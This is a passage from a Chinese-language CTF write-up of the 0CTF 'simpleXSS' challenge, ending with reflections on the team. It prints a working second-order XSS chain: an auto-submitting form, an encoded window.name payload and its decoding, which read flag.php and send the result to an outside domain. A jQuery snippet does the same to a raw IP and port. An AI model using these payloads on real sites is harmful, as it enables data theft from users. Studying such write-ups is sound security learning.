然后,在 https://12345609861router.vip/1234/index.html下写了一个页面。将<svg onload=location=name
提交给preview,完成二次xss触发。它会执行window.name中的东西,发送一个get请求,并把数据弹回来
<html>
<body>
<form id="send" action="https://router.vip/preview.php?" method="POST">
<input type="hidden" name="task" value="" />
<input type="hidden" name="payload" value="<svg onload=location=name" />
<input type="hidden" name="geetest_challenge" value="" />
<input type="hidden" name="geetest_validate" value="" />
<input type="hidden" name="geetest_seccode" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
window.name = "javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d";
document.getElementById("send").submit();
</script>
</body>
</html>
伪协议解码
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://router.vip/flag.php', false);
xhr.send();
if (xhr.status == 200) {
location='https://12345609861router.vip/1234/?result='+xhr.responseText;
}
然后就能得到flag: flag{th1s_is_fr0m_a_re4l_cas3}
其他的收获
-
如果发现jquery用不了,写原生的js又太蛋疼,可以加载一个jquery进来,继续干。当然,前提那个页面是你可控的。
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script> <script type="text/javascript"> $.get("https://router.vip/flag.php",function(data){ //alert(data); location.href="http://119.29.135.206:23333/"+escape(data); }); </script>
-
在调试网络请求的时候,发现一款chrome有一个更细微的网络监控
https://segmentfault.com/q/1010000000364871
-
这里学到了一个burp suite的小技巧
原来burpsuite可以用来生成表单
生成ajax格式的(简直是我这种弱渣js选手的救星)
-
赛后务必学习WP,务必复现WP,务必总结文档!!收获很多。
废话
这次0ctf,第一次正式以blue-lotus参赛,队友们都很拼。第二晚,我们Web组一起怼simpleXSS弄到了将近4点,老司机大佬们3点半的时候,还在继续怼各种二进制,韦博看那个OTP整整看了两天,晚上睡觉还一直记着那道题..实在话,比赛或许最重要的不是最后的成绩,而是有一群队友肯陪你疯~
回顾整场比赛,真是深深觉得自己的js功底太差了,得好好补补。越学越觉得自己懂得东西真的太少太少,还需要学习很多很多套路orz。